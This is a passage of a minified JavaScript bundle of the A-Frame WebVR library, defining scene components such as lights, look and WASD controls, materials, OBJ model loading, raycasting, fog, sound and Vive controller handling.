i=this.animationActive,r=1,n=this.el.getObject3D("mesh");n&&(t&&(r=-1),i&&n.play(i,0),n.mixer.clipAction(e).loop=2200,n.mixer.clipAction(e).clampWhenFinished=!0,n.mixer.clipAction(e).timeScale=r,n.play(e,1),this.animationActive=e)}})},{"../core/component":57}],27:[function(e){e("./blend-model"),e("./camera"),e("./collada-model"),e("./cursor"),e("./geometry"),e("./hand-controls"),e("./light"),e("./look-at"),e("./look-controls"),e("./material"),e("./obj-model"),e("./position"),e("./raycaster"),e("./rotation"),e("./scale"),e("./sound"),e("./tracked-controls"),e("./visible"),e("./vive-controls"),e("./wasd-controls"),e("./scene/canvas"),e("./scene/debug"),e("./scene/embedded"),e("./scene/fog"),e("./scene/keyboard-shortcuts"),e("./scene/stats"),e("./scene/vr-mode-ui")},{"./blend-model":21,"./camera":22,"./collada-model":23,"./cursor":24,"./geometry":25,"./hand-controls":26,"./light":28,"./look-at":29,"./look-controls":30,"./material":31,"./obj-model":32,"./position":33,"./raycaster":34,"./rotation":35,"./scale":36,"./scene/canvas":37,"./scene/debug":38,"./scene/embedded":39,"./scene/fog":40,"./scene/keyboard-shortcuts":41,"./scene/stats":42,"./scene/vr-mode-ui":43,"./sound":44,"./tracked-controls":45,"./visible":46,"./vive-controls":47,"./wasd-controls":48}],28:[function(e,t){function i(e){var t=e.angle,i=new a.Color(e.color).getHex(),r=e.decay,n=e.distance,o=new a.Color(e.groundColor).getHex(),u=e.intensity,l=e.type;switch(l.toLowerCase()){case"ambient":return new a.AmbientLight(i,u);case"directional":return new a.DirectionalLight(i,u);case"hemisphere":return new a.HemisphereLight(i,o,u);case"point":return new a.PointLight(i,u,n,r);case"spot":return new a.SpotLight(i,u,n,s(t),e.penumbra,r);default:c("%s is not a valid light type. Choose from ambient, directional, hemisphere, point, spot.",l)}}var r=e("../utils").diff,n=e("../utils/debug"),o=e("../core/component").registerComponent,a=e("../lib/three"),s=a.Math.degToRad,c=n("components:light:warn");t.exports.Component=o("light",{schema:{angle:{"default":60,"if":{type:["spot"]}},color:{type:"color"},groundColor:{type:"color","if":{type:["hemisphere"]}},decay:{"default":1,"if":{type:["point","spot"]}},distance:{"default":0,min:0,"if":{type:["point","spot"]}},intensity:{"default":1,min:0,"if":{type:["ambient","directional","hemisphere","point","spot"]}},penumbra:{"default":0,min:0,max:1,"if":{type:["spot"]}},type:{"default":"directional",oneOf:["ambient","directional","hemisphere","point","spot"]}},init:function(){var e=this.el;this.light=null,this.system.registerLight(e)},update:function(e){var t=this.data,i=r(t,e),n=this.light;return!n||"type"in i?void this.setLight(this.data):void Object.keys(i).forEach(function(e){var i=t[e];-1!==["color","groundColor"].indexOf(e)&&(i=new a.Color(i)),n[e]=i})},setLight:function(e){var t=this.el,r=i(e);r&&(this.light&&t.removeObject3D("light"),this.light=r,this.light.el=t,t.setObject3D("light",this.light))},remove:function(){this.el.removeObject3D("light")}})},{"../core/component":57,"../lib/three":101,"../utils":117,"../utils/debug":115}],29:[function(e,t){var i=e("../utils/debug"),r=e("../utils/coordinates"),n=e("../core/component").registerComponent,o=e("../lib/three"),a=i("components:look-at:warn"),s=r.isCoordinate;t.exports.Component=n("look-at",{schema:{"default":"",parse:function(e){return s(e)||"object"==typeof e?r.parse(e):e},stringify:function(e){return"object"==typeof e?r.stringify(e):e}},init:function(){this.target3D=null,this.vector=new o.Vector3,a("The `look-at` component is deprecated - use path_to_url instead.")},update:function(){var e,t=this,i=t.data,r=t.el.object3D;return!i||"object"==typeof i&&!Object.keys(i).length?t.remove():"object"==typeof i?r.lookAt(new o.Vector3(i.x,i.y,i.z)):(e=t.el.sceneEl.querySelector(i),e?e.hasLoaded?t.beginTracking(e):e.addEventListener("loaded",function(){t.beginTracking(e)}):void a('"'+i+'" does not point to a valid entity to look-at'))},tick:function(){var e=this.target3D;return e?this.el.object3D.lookAt(this.vector.setFromMatrixPosition(e.matrixWorld)):void 0},beginTracking:function(e){this.target3D=e.object3D}})},{"../core/component":57,"../lib/three":101,"../utils/coordinates":114,"../utils/debug":115}],30:[function(e,t){function i(e){return 0===e.x&&0===e.y&&0===e.z}var r=e("../core/component").registerComponent,n=e("../lib/three"),o=e("../utils/").isMobile(),a=Math.PI/2,s=n.Math.radToDeg;t.exports.Component=r("look-controls",{dependencies:["position","rotation"],schema:{enabled:{"default":!0},hmdEnabled:{"default":!0},standing:{"default":!0}},init:function(){this.previousHMDPosition=new n.Vector3,this.setupMouseControls(),this.setupHMDControls(),this.bindMethods()},update:function(e){var t=this.data,i=t.hmdEnabled;t.enabled&&(!i&&e&&i!==e.hmdEnabled&&(this.pitchObject.rotation.set(0,0,0),this.yawObject.rotation.set(0,0,0)),this.controls.standing=t.standing,this.controls.update(),this.updateOrientation(),this.updatePosition())},play:function(){this.addEventListeners()},pause:function(){this.removeEventListeners()},tick:function(){this.update()},remove:function(){this.pause()},bindMethods:function(){this.onMouseDown=this.onMouseDown.bind(this),this.onMouseMove=this.onMouseMove.bind(this),this.releaseMouse=this.releaseMouse.bind(this),this.onTouchStart=this.onTouchStart.bind(this),this.onTouchMove=this.onTouchMove.bind(this),this.onTouchEnd=this.onTouchEnd.bind(this)},setupMouseControls:function(){this.mouseDown=!1,this.pitchObject=new n.Object3D,this.yawObject=new n.Object3D,this.yawObject.position.y=10,this.yawObject.add(this.pitchObject)},setupHMDControls:function(){this.dolly=new n.Object3D,this.euler=new n.Euler,this.controls=new n.VRControls(this.dolly),this.controls.userHeight=0},addEventListeners:function(){var e=this.el.sceneEl,t=e.canvas;return t?(t.addEventListener("mousedown",this.onMouseDown,!1),window.addEventListener("mousemove",this.onMouseMove,!1),window.addEventListener("mouseup",this.releaseMouse,!1),t.addEventListener("touchstart",this.onTouchStart),window.addEventListener("touchmove",this.onTouchMove),void window.addEventListener("touchend",this.onTouchEnd)):void e.addEventListener("render-target-loaded",this.addEventListeners.bind(this))},removeEventListeners:function(){var e=this.el.sceneEl,t=e&&e.canvas;t&&(t.removeEventListener("mousedown",this.onMouseDown),t.removeEventListener("mousemove",this.onMouseMove),t.removeEventListener("mouseup",this.releaseMouse),t.removeEventListener("mouseout",this.releaseMouse),t.removeEventListener("touchstart",this.onTouchStart),t.removeEventListener("touchmove",this.onTouchMove),t.removeEventListener("touchend",this.onTouchEnd))},updateOrientation:function(){var e=new n.Euler;return function(){var t,r,n,a=this.pitchObject,c=this.yawObject,u=this.calculateHMDQuaternion(),l=this.el.sceneEl;e.setFromQuaternion(u,"YXZ"),o?n={x:s(e.x)+s(a.rotation.x),y:s(e.y)+s(c.rotation.y),z:s(e.z)}:l.is("vr-mode")&&!i(e)&&this.data.hmdEnabled?n={x:s(e.x),y:s(e.y),z:s(e.z)}:(t=this.el.getComputedAttribute("rotation"),r=this.calculateDeltaRotation(),n={x:t.x+r.x,y:t.y+r.y,z:t.z}),this.el.setAttribute("rotation",n)}}(),calculateDeltaRotation:function(){var e,t;return function(){var i,r=s(this.pitchObject.rotation.x),n=s(this.yawObject.rotation.y);return e=e||r,t=t||n,i={x:r-e,y:n-t},e=r,t=n,i}}(),calculateHMDQuaternion:function(){var e=new n.Quaternion;return function(){return e.copy(this.dolly.quaternion),e}}(),updatePosition:function(){var e=new n.Vector3;return function(){var t,r=this.el,n=r.getComputedAttribute("position"),o=this.previousHMDPosition,a=this.el.sceneEl;t=this.calculateHMDPosition(),e.copy(t).sub(o),a.is("vr-mode")&&!i(e)&&(o.copy(t),a.is("vr-mode")&&r.setAttribute("position",{x:n.x+e.x,y:n.y+e.y,z:n.z+e.z}))}}(),calculateHMDPosition:function(){var e=this.dolly,t=new n.Vector3;return e.updateMatrix(),t.setFromMatrixPosition(e.matrix),t},onMouseMove:function(e){var t=this.pitchObject,i=this.yawObject,r=this.previousMouseEvent;if(this.mouseDown&&this.data.enabled){var n=e.movementX||e.mozMovementX,o=e.movementY||e.mozMovementY;(void 0===n||void 0===o)&&(n=e.screenX-r.screenX,o=e.screenY-r.screenY),this.previousMouseEvent=e,i.rotation.y-=.002*n,t.rotation.x-=.002*o,t.rotation.x=Math.max(-a,Math.min(a,t.rotation.x))}},onMouseDown:function(e){this.mouseDown=!0,this.previousMouseEvent=e,e.preventDefault()},releaseMouse:function(){this.mouseDown=!1},onTouchStart:function(e){1===e.touches.length&&(this.touchStart={x:e.touches[0].pageX,y:e.touches[0].pageY},this.touchStarted=!0)},onTouchMove:function(e){var t,i=this.yawObject;this.touchStarted&&(t=2*Math.PI*(e.touches[0].pageX-this.touchStart.x)/this.el.sceneEl.canvas.clientWidth,i.rotation.y-=.5*t,this.touchStart={x:e.touches[0].pageX,y:e.touches[0].pageY})},onTouchEnd:function(){this.touchStarted=!1}})},{"../core/component":57,"../lib/three":101,"../utils/":117}],31:[function(e,t){function i(e){switch(e){case"back":return a.BackSide;case"double":return a.DoubleSide;default:return a.FrontSide}}function r(e,t){e.dispose(),t.unregisterMaterial(e)}var n=e("../utils/"),o=e("../core/component"),a=e("../lib/three"),s=e("../core/shader"),c=n.debug("components:material:error"),u=o.registerComponent,l=s.shaders,h=s.shaderNames;t.exports.Component=u("material",{schema:{shader:{"default":"standard",oneOf:h},transparent:{"default":!1},opacity:{"default":1,min:0,max:1},side:{"default":"front",oneOf:["front","back","double"]},depthTest:{"default":!0},flatShading:{"default":!1}},init:function(){this.material=null},update:function(e){var t=this.data;this.shader&&t.shader===e.shader||this.updateShader(t.shader),this.shader.update(this.data),this.updateMaterial()},updateSchema:function(e){var t=e.shader,i=this.data&&this.data.shader,r=t||i,n=l[r]&&l[r].schema;n||c("Unknown shader schema "+r),i&&t===i||(this.extendSchema(n),this.updateBehavior())},updateBehavior:function(){var e=this.el.sceneEl,t=this.schema,i=this,r={},n=function(e){function t(t){r[t]=e}var n=Object.keys(r);n.forEach(t),i.shader.update(r)},o=Object.keys(t);o.forEach(function(o){"time"===t[o].type&&(i.tick=n,r[o]=!0,e.addBehavior(i))}),0===Object.keys(r).length&&e.removeBehavior(this)},updateShader:function(e){var t,i=this.data,r=l[e]&&l[e].Shader;if(!r)throw new Error("Unknown shader "+e);t=this.shader=new r,t.el=this.el,t.init(i),this.setMaterial(t.material),this.updateSchema(i)},updateMaterial:function(){var e=this.data,t=this.material;t.side=i(e.side),t.opacity=e.opacity,t.transparent=e.transparent!==!1||e.opacity<1,t.depthTest=e.depthTest!==!1,t.shading=e.flatShading?a.FlatShading:a.SmoothShading},remove:function(){var e=new a.MeshBasicMaterial,t=this.material,i=this.el.getObject3D("mesh");i&&(i.material=e),r(t,this.system)},setMaterial:function(e){var t=this.el.getOrCreateObject3D("mesh",a.Mesh),i=this.system;this.material&&r(this.material,i),this.material=t.material=e,i.registerMaterial(e)}})},{"../core/component":57,"../core/shader":65,"../lib/three":101,"../utils/":117}],32:[function(e,t){var i=e("../utils/debug"),r=e("../core/component").registerComponent,n=e("../lib/three"),o=i("components:obj-model:warn");t.exports.Component=r("obj-model",{dependencies:["material"],schema:{mtl:{type:"src"},obj:{type:"src"}},init:function(){this.model=null,this.objLoader=new n.OBJLoader,this.mtlLoader=new n.MTLLoader(this.objLoader.manager),this.mtlLoader.crossOrigin=""},update:function(){var e=this.data;e.obj&&(this.remove(),this.loadObj(e.obj,e.mtl))},remove:function(){this.model&&this.el.removeObject3D("mesh")},loadObj:function(e,t){var i=this,r=this.el,a=this.mtlLoader,s=this.objLoader;return t?(r.hasAttribute("material")&&o("Material component properties are ignored when a .MTL is provided"),a.setBaseUrl(t.substr(0,t.lastIndexOf("/")+1)),void a.load(t,function(t){t.preload(),s.setMaterials(t),s.load(e,function(e){i.model=e,r.setObject3D("mesh",e),r.emit("model-loaded",{format:"obj",model:e})})})):void s.load(e,function(e){var t=r.components.material;t&&e.traverse(function(e){e instanceof n.Mesh&&(e.material=t.material)}),i.model=e,r.setObject3D("mesh",e),r.emit("model-loaded",{format:"obj",model:e})})}})},{"../core/component":57,"../lib/three":101,"../utils/debug":115}],33:[function(e,t){var i=e("../core/component").registerComponent;t.exports.Component=i("position",{schema:{type:"vec3"},update:function(){var e=this.el.object3D,t=this.data;e.position.set(t.x,t.y,t.z)}})},{"../core/component":57}],34:[function(e,t){var i=e("../core/component").registerComponent,r=e("../lib/three"),n=new r.Vector3;t.exports.Component=i("raycaster",{schema:{far:{"default":1/0},interval:{"default":100},near:{"default":0},objects:{"default":""},recursive:{"default":!0}},init:function(){this.direction=new r.Vector3,this.intersectedEls=[],this.objects=null,this.prevCheckTime=void 0,this.raycaster=new r.Raycaster,this.updateOriginDirection()},update:function(){var e=this.data,t=this.raycaster;t.far=e.far,t.near=e.near,this.refreshObjects()},refreshObjects:function(){var e,t,i=this.data;if(i.objects)for(t=this.el.sceneEl.querySelectorAll(i.objects),this.objects=[],e=0;e<t.length;e++)this.objects.push(t[e].object3D);else this.objects=this.el.sceneEl.object3D.children},tick:function(e){var t,i=this.el,r=this.data,n=this.intersectedEls.slice(),o=this.intersectedEls=[],a=this.prevCheckTime;a&&e-a<r.interval||(this.updateOriginDirection(),t=this.raycaster.intersectObjects(this.objects,r.recursive),t.forEach(function(e){o.push(e.object.el)}),t.forEach(function(e){var t=e.object.el;t.emit("raycaster-intersected",{el:i,intersection:e})}),t.length&&i.emit("raycaster-intersection",{els:t.map(function(e){return e.object.el}),intersections:t}),n.forEach(function(e){-1===o.indexOf(e)&&(i.emit("raycaster-intersection-cleared",{el:e}),e.emit("raycaster-intersected-cleared",{el:i}))}))},updateOriginDirection:function(){var e=new r.Quaternion,t=new r.Vector3;return function(){var i=this.el,r=i.object3D;r.updateMatrixWorld(),r.matrixWorld.decompose(t,e,n),this.direction.set(0,0,-1),this.direction.applyQuaternion(e),this.raycaster.set(t,this.direction)}}()})},{"../core/component":57,"../lib/three":101}],35:[function(e,t){var i=e("../lib/three").Math.degToRad,r=e("../core/component").registerComponent;t.exports.Component=r("rotation",{schema:{type:"vec3"},update:function(){var e=this.data,t=this.el.object3D;t.rotation.set(i(e.x),i(e.y),i(e.z)),t.rotation.order="YXZ"}})},{"../core/component":57,"../lib/three":101}],36:[function(e,t){var i=e("../core/component").registerComponent,r=1e-5;t.exports.Component=i("scale",{schema:{type:"vec3","default":{x:1,y:1,z:1}},update:function(){var e=this.data,t=this.el.object3D,i=0===e.x?r:e.x,n=0===e.y?r:e.y,o=0===e.z?r:e.z;t.scale.set(i,n,o)}})},{"../core/component":57}],37:[function(e,t){var i=e("../../core/component").registerComponent;t.exports.Component=i("canvas",{init:function(){function e(){n.classList.add("fullscreen")}function t(){n.classList.remove("fullscreen")}function i(){var e=document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement;e||r.exitVR(),document.activeElement.blur(),document.body.focus(),setTimeout(r.resize.bind(r),0)}var r=this.el,n=document.createElement("canvas");n.classList.add("a-canvas"),n.dataset.aframeCanvas=!0,r.appendChild(n),document.addEventListener("fullscreenchange",i),document.addEventListener("mozfullscreenchange",i),document.addEventListener("webkitfullscreenchange",i),n.addEventListener("touchmove",function(e){e.preventDefault()}),r.addEventListener("enter-vr",e),r.addEventListener("exit-vr",t),r.canvas=n,r.emit("render-target-loaded",{target:n})}})},{"../../core/component":57}],38:[function(e,t){var i=e("../../core/component").registerComponent;t.exports.Component=i("debug",{schema:{"default":!0}})},{"../../core/component":57}],39:[function(e,t){var i=e("../../core/component").registerComponent;t.exports.Component=i("embedded",{dependencies:["vr-mode-ui"],schema:{"default":!0},update:function(){var e=this.el,t=e.querySelector(".a-enter-vr");this.data===!0?(t.classList.add("embedded"),e.removeFullScreenStyles()):(t.classList.remove("embedded"),e.addFullScreenStyles())}})},{"../../core/component":57}],40:[function(e,t){function i(e){var t;return t="exponential"===e.type?new n.FogExp2(e.color,e.density):new n.Fog(e.color,e.near,e.far),t.name=e.type,t}var r=e("../../core/component").registerComponent,n=e("../../lib/three"),o=e("../../utils/debug"),a=o("components:fog:warn");t.exports.Component=r("fog",{schema:{color:{"default":"#000"},density:{"default":25e-5},far:{"default":1e3,min:0},near:{"default":1,min:0},type:{"default":"linear",oneOf:["linear","exponential"]}},update:function(){var e=this.data,t=this.el,r=this.el.object3D.fog;return t.isScene?r&&e.type===r.name?void Object.keys(this.schema).forEach(function(t){var i=e[t];"color"===t&&(i=new n.Color(i)),r[t]=i}):(t.object3D.fog=i(e),void t.systems.material.updateMaterials()):void a("Fog component can only be applied to <a-scene>")},remove:function(){var e=this.el.object3D.fog;e&&(e.density=0,e.far=0,e.near=0)}})},{"../../core/component":57,"../../lib/three":101,"../../utils/debug":115}],41:[function(e,t){var i=e("../../core/component").registerComponent,r=e("../../utils/").shouldCaptureKeyEvent,n=e("../../lib/three"),o=new n.VRControls(new n.Object3D);t.exports.Component=i("keyboard-shortcuts",{schema:{enterVR:{"default":!0},exitVR:{"default":!0},resetSensor:{"default":!0}},init:function(){var e=this,t=this.el;this.listener=window.addEventListener("keyup",function(i){r(i)&&(e.enterVREnabled&&70===i.keyCode&&t.enterVR(),e.enterVREnabled&&27===i.keyCode&&t.exitVR(),e.resetSensorEnabled&&90===i.keyCode&&o.resetSensor())},!1)},update:function(){var e=this.data;this.enterVREnabled=e.enterVR,this.resetSensorEnabled=e.resetSensor},remove:function(){window.removeEventListener("keyup",this.listener)}})},{"../../core/component":57,"../../lib/three":101,"../../utils/":117}],42:[function(e,t){function i(e){var t=new a(e.renderer),i=new s(e),r=e.isMobile?[]:[t,i];return new n({css:[],values:{fps:{caption:"fps",below:30}},groups:[{caption:"Framerate",values:["fps","raf"]}],plugins:r})}var r=e("../../core/component").registerComponent,n=e("../../../vendor/rStats");e("../../../vendor/rStats.extras"),e("../../lib/rStatsAframe");var o="a-hidden",a=window.threeStats,s=window.aframeStats;t.exports.Component=r("stats",{schema:{"default":!0},init:function(){var e=this.el;this.stats=i(e),this.statsEl=document.querySelector(".rs-base"),this.hideBound=this.hide.bind(this),this.showBound=this.show.bind(this),e.addEventListener("enter-vr",this.hideBound),e.addEventListener("exit-vr",this.showBound)},update:function(){return this.data?this.show():this.hide()},remove:function(){this.el.removeEventListener("enter-vr",this.hideBound),this.el.removeEventListener("exit-vr",this.showBound),this.statsEl.parentNode.removeChild(this.statsEl)},tick:function(){var e=this.stats;e("rAF").tick(),e("FPS").frame(),e().update()},hide:function(){this.statsEl.classList.add(o)},show:function(){this.statsEl.classList.remove(o)}})},{"../../../vendor/rStats":124,"../../../vendor/rStats.extras":123,"../../core/component":57,"../../lib/rStatsAframe":100}],43:[function(e,t){function i(e){var t,i,r=window.hasNativeWebVRImplementation&&l();return i=document.createElement("div"),i.classList.add(a),t=document.createElement("button"),t.classList.add(s),h||r||t.classList.add("fullscreen"),i.appendChild(t),t.addEventListener("click",e),i}function r(e){var t=document.createElement("div");t.className=u,t.classList.add(c);var i=document.createElement("button");return i.innerHTML="Exit VR",i.addEventListener("click",e),t.appendChild(i),t}var n=e("../../core/component").registerComponent,o=e("../../utils/"),a="a-enter-vr",s="a-enter-vr-button",c="a-hidden",u="a-orientation-modal",l=o.checkHeadsetConnected,h=o.isMobile();t.exports.Component=n("vr-mode-ui",{dependencies:["canvas"],schema:{enabled:{"default":!0}},init:function(){var e=this,t=this.el;"false"!==o.getUrlParameter("ui")&&(this.enterVR=t.enterVR.bind(t),this.exitVR=t.exitVR.bind(t),this.insideLoader=!1,this.enterVREl=null,this.orientationModalEl=null,t.addEventListener("enter-vr",this.updateEnterVRInterface.bind(this)),t.addEventListener("exit-vr",this.updateEnterVRInterface.bind(this)),window.addEventListener("message",function(t){"loaderReady"===t.data.type&&(e.insideLoader=!0,e.remove())}),window.addEventListener("orientationchange",this.toggleOrientationModalIfNeeded.bind(this)))},update:function(){var e=this.el;return!this.data.enabled||this.insideLoader||"false"===o.getUrlParameter("ui")?this.remove():void(this.enterVREl||this.orientationModalEl||(this.enterVREl=i(this.enterVR),e.appendChild(this.enterVREl),this.orientationModalEl=r(this.exitVR),e.appendChild(this.orientationModalEl),this.updateEnterVRInterface()))},remove:function(){[this.enterVREl,this.orientationModalEl].forEach(function(e){e&&e.parentNode.removeChild(e)})},updateEnterVRInterface:function(){this.toggleEnterVRButtonIfNeeded(),this.toggleOrientationModalIfNeeded()},toggleEnterVRButtonIfNeeded:function(){var e=this.el;this.enterVREl&&(e.is("vr-mode")?this.enterVREl.classList.add(c):this.enterVREl.classList.remove(c))},toggleOrientationModalIfNeeded:function(){var e=this.el,t=this.orientationModalEl;t&&e.isMobile&&(!o.isLandscape()&&e.is("vr-mode")?t.classList.remove(c):t.classList.add(c))}})},{"../../core/component":57,"../../utils/":117}],44:[function(e,t){var i=e("../utils/debug"),r=e("../core/component").registerComponent,n=e("../lib/three"),o=i("components:sound:warn");t.exports.Component=r("sound",{schema:{src:{type:"src"},on:{"default":""},autoplay:{"default":!1},loop:{"default":!1},volume:{"default":1}},multiple:!0,init:function(){this.listener=null,this.audioLoader=new n.AudioLoader,this.sound=null,this.playSound=this.playSound.bind(this)},update:function(e){var t=this.data,i=this.sound,r=t.src!==e.src;if(r){if(!t.src)return void o("Audio source was not specified with `src`");i=this.setupSound()}i.autoplay=t.autoplay,i.setLoop(t.loop),i.setVolume(t.volume),t.on!==e.on&&this.updateEventListener(e.on),r&&this.audioLoader.load(t.src,function(e){i.setBuffer(e),n.Cache.remove(t.src)})},updateEventListener:function(e){var t=this.el;e&&t.removeEventListener(e,this.playSound),t.addEventListener(this.data.on,this.playSound)},removeEventListener:function(){this.el.removeEventListener(this.data.on,this.playSound)},remove:function(){this.removeEventListener(),this.el.removeObject3D(this.attrName);try{this.sound.disconnect()}catch(e){o("Audio source not properly disconnected")}},play:function(){this.sound&&(this.sound.source.buffer&&this.data.autoplay&&this.sound.play(),this.updateEventListener())},pause:function(){this.sound&&(this.sound.source.buffer&&this.sound.isPlaying&&this.sound.pause(),this.removeEventListener())},setupSound:function(){var e=this.el,t=e.sceneEl,i=this.sound;i&&(this.stopSound(),e.removeObject3D("sound"));var r=this.listener=t.audioListener||new n.AudioListener;return t.audioListener=r,t.camera&&t.camera.add(r),t.addEventListener("camera-set-active",function(e){e.detail.cameraEl.getObject3D("camera").add(r)}),i=this.sound=new n.PositionalAudio(r),e.setObject3D(this.attrName,i),i.source.onended=function(){i.onEnded(),e.emit("sound-ended")},i},playSound:function(){this.sound.source.buffer&&this.sound.play()},stopSound:function(){this.sound.source.buffer&&this.sound.stop()}})},{"../core/component":57,"../lib/three":101,"../utils/debug":115}],45:[function(e,t){var i=e("../core/component").registerComponent,r=e("../lib/three");t.exports.Component=i("tracked-controls",{schema:{controller:{"default":0},id:{"default":"OpenVR Gamepad"}},init:function(){this.buttonStates={},this.axisState=[]},update:function(){function e(e){return e.id===i.id}var t=this.system.controllers,i=this.data;t=t.filter(e),this.controller=t[i.controller]},tick:function(e,t){var i=this.el.getObject3D("mesh");i&&(i.update&&i.update(t/1e3),this.updatePose(),this.updateButtons())},updatePose:function(){var e=new r.Euler,t=new r.Vector3,i=new r.Quaternion,n=new r.Object3D,o=new r.Matrix4;return e.order="YXZ",function(){var a,s,c,u,l=this.el,h=this.system.vrDisplay;this.update(),a=this.controller,a&&(s=a.pose,c=s.orientation||[0,0,0,1],u=s.position||[0,0,0],i.fromArray(c),n.quaternion.fromArray(c),n.position.fromArray(u),n.updateMatrix(),h&&h.stageParameters&&(o.fromArray(h.stageParameters.sittingToStandingTransform),n.applyMatrix(o)),e.setFromRotationMatrix(n.matrix),t.setFromMatrixPosition(n.matrix),l.setAttribute("rotation",{x:r.Math.radToDeg(e.x),y:r.Math.radToDeg(e.y),z:r.Math.radToDeg(e.z)}),l.setAttribute("position",{x:t.x,y:t.y,z:t.z}))}}(),updateButtons:function(){var e,t,i=this.controller;if(this.controller){for(e=0;e<i.buttons.length;++e)t=i.buttons[e],this.handleButton(e,t);this.handleAxes(i.axes)}},handleAxes:function(e){var t,i=this.axisState,r=!1;for(t=0;t<e.length;++t)if(i[t]!==e[t]){r=!0;break}r&&(i=e.slice(),this.el.emit("axismove",{axis:i}))},handleButton:function(e,t){var i=!1;i=i||this.handlePress(e,t),i=i||this.handleTouch(e,t),i=i||this.handleValue(e,t),i&&this.el.emit("buttonchanged",{id:e,state:t})},handlePress:function(e,t){var i,r=this.buttonStates,n=r[e]=r[e]||{};t.pressed!==n.pressed&&(i=t.pressed?"down":"up",this.el.emit("button"+i,{id:e}),n.pressed=t.pressed)},handleTouch:function(e,t){var i,r=this.buttonStates,n=r[e]=r[e]||{};return t.touched===n.touched?!1:(i=t.touched?"start":"end",n.touched=t.touched,this.el.emit("touch"+i,{id:e,state:n}),!0)},handleValue:function(e,t){var i=this.buttonStates,r=i[e]=i[e]||{};return t.value===r.value?!1:(r.value=t.value,!0)}})},{"../core/component":57,"../lib/three":101}],46:[function(e,t){var i=e("../core/component").registerComponent;t.exports.Component=i("visible",{schema:{"default":!0},update:function(){this.el.object3D.visible=this.data}})},{"../core/component":57}],47:[function(e,t){var i=e("../core/component").registerComponent,r="path_to_url",n="path_to_url";
t.exports.Component=i("vive-controls",{dependencies:["tracked-controls"],schema:{hand:{"default":"left"},buttonColor:{"default":"white"},buttonHighlightColor:{"default":"yellow"},model:{"default":!0}},mapping:{axis0:"trackpad",axis1:"trackpad",button0:"trackpad",button1:"trigger",button2:"grip",button3:"menu",button4:"system"},init:function(){var e=this;this.animationActive="pointing",this.onButtonChanged=this.onButtonChanged.bind(this),this.onButtonDown=function(t){e.onButtonEvent(t.detail.id,"down")},this.onButtonUp=function(t){e.onButtonEvent(t.detail.id,"up")},this.onModelLoaded=this.onModelLoaded.bind(this)},play:function(){var e=this.el;e.addEventListener("buttonchanged",this.onButtonChanged),e.addEventListener("buttondown",this.onButtonDown),e.addEventListener("buttonup",this.onButtonUp),e.addEventListener("model-loaded",this.onModelLoaded)},pause:function(){var e=this.el;e.removeEventListener("buttonchanged",this.onButtonChanged),e.removeEventListener("buttondown",this.onButtonDown),e.removeEventListener("buttonup",this.onButtonUp),e.removeEventListener("model-loaded",this.onModelLoaded)},update:function(){var e=this.el,t=this.data,i="url("+r+")",o="url("+n+")",a="right"===t.hand?0:1;e.setAttribute("tracked-controls","controller",a),t.model&&e.setAttribute("obj-model",{obj:i,mtl:o})},onButtonChanged:function(e){var t,i=this.mapping["button"+e.detail.id],r=this.buttonMeshes;"trigger"===i&&r&&(t=e.detail.state.value,r.trigger.rotation.x=-t*(Math.PI/12))},onModelLoaded:function(e){var t,i=e.detail.model;this.data.model&&(t=this.buttonMeshes={},t.grip={left:i.getObjectByName("leftgrip"),right:i.getObjectByName("rightgrip")},t.menu=i.getObjectByName("menubutton"),t.system=i.getObjectByName("systembutton"),t.trackpad=i.getObjectByName("touchpad"),t.trigger=i.getObjectByName("trigger"),i.position.set(0,-.015,.04))},onButtonEvent:function(e,t){var i=this.mapping["button"+e];this.el.emit(i+t),this.data.model&&this.updateModel(i,t)},updateModel:function(e,t){var i="up"===t?this.data.buttonColor:this.data.buttonHighlightColor,r=this.buttonMeshes;return r?"grip"===e?(r.grip.left.material.color.set(i),void r.grip.right.material.color.set(i)):void r[e].material.color.set(i):void 0}})},{"../core/component":57}],48:[function(e,t){var i=e("../core/component").registerComponent,r=e("../utils/").shouldCaptureKeyEvent,n=e("../lib/three"),o=.2;t.exports.Component=i("wasd-controls",{schema:{easing:{"default":20},acceleration:{"default":65},enabled:{"default":!0},fly:{"default":!1},wsAxis:{"default":"z",oneOf:["x","y","z"]},adAxis:{"default":"x",oneOf:["x","y","z"]},wsInverted:{"default":!1},wsEnabled:{"default":!0},adInverted:{"default":!1},adEnabled:{"default":!0}},init:function(){this.velocity=new n.Vector3,this.keys={},this.onBlur=this.onBlur.bind(this),this.onFocus=this.onFocus.bind(this),this.onVisibilityChange=this.onVisibilityChange.bind(this),this.onKeyDown=this.onKeyDown.bind(this),this.onKeyUp=this.onKeyUp.bind(this),this.attachVisibilityEventListeners()},update:function(e){var t,i=this.data,r=i.acceleration,n=i.easing,a=this.velocity,s=this.prevTime=this.prevTime||Date.now(),c=window.performance.now(),u=(c-s)/1e3,l=this.keys,h=i.adAxis,d=i.wsAxis,p=i.adInverted?-1:1,f=i.wsInverted?-1:1,m=this.el;if(this.prevTime=c,e||u>o)return a[h]=0,void(a[d]=0);a[h]-=a[h]*n*u,a[d]-=a[d]*n*u;var g=m.getComputedAttribute("position");i.enabled&&(i.adEnabled&&(l[65]&&(a[h]-=p*r*u),l[68]&&(a[h]+=p*r*u)),i.wsEnabled&&(l[87]&&(a[d]-=f*r*u),l[83]&&(a[d]+=f*r*u))),t=this.getMovementVector(u),m.object3D.translateX(t.x),m.object3D.translateY(t.y),m.object3D.translateZ(t.z),m.setAttribute("position",{x:g.x+t.x,y:g.y+t.y,z:g.z+t.z})},play:function(){this.attachKeyEventListeners()},pause:function(){this.keys={},this.removeKeyEventListeners()},tick:function(){this.update()},remove:function(){this.pause(),this.removeVisibilityEventListeners()},attachVisibilityEventListeners:function(){window.addEventListener("blur",this.onBlur),window.addEventListener("focus",this.onFocus),document.addEventListener("visibilitychange",this.onVisibilityChange)},removeVisibilityEventListeners:function(){window.removeEventListener("blur",this.onBlur),window.removeEventListener("focus",this.onFocus),document.removeEventListener("visibilitychange",this.onVisibilityChange)},attachKeyEventListeners:function(){window.addEventListener("keydown",this.onKeyDown),window.addEventListener("keyup",this.onKeyUp)},removeKeyEventListeners:function(){window.removeEventListener("keydown",this.onKeyDown),window.removeEventListener("keyup",this.onKeyUp)},onBlur:function(){this.pause()},onFocus:function(){this.play()},onVisibilityChange:function(){document.hidden?this.onBlur():this.onFocus()},onKeyDown:function(e){r(e)&&(this.keys[e.keyCode]=!0)},onKeyUp:function(e){r(e)&&(this.keys[e.keyCode]=!1)},getMovementVector:function(){var e=new n.Vector3(0,0,0),t=new n.Euler(0,0,0,"YXZ");return 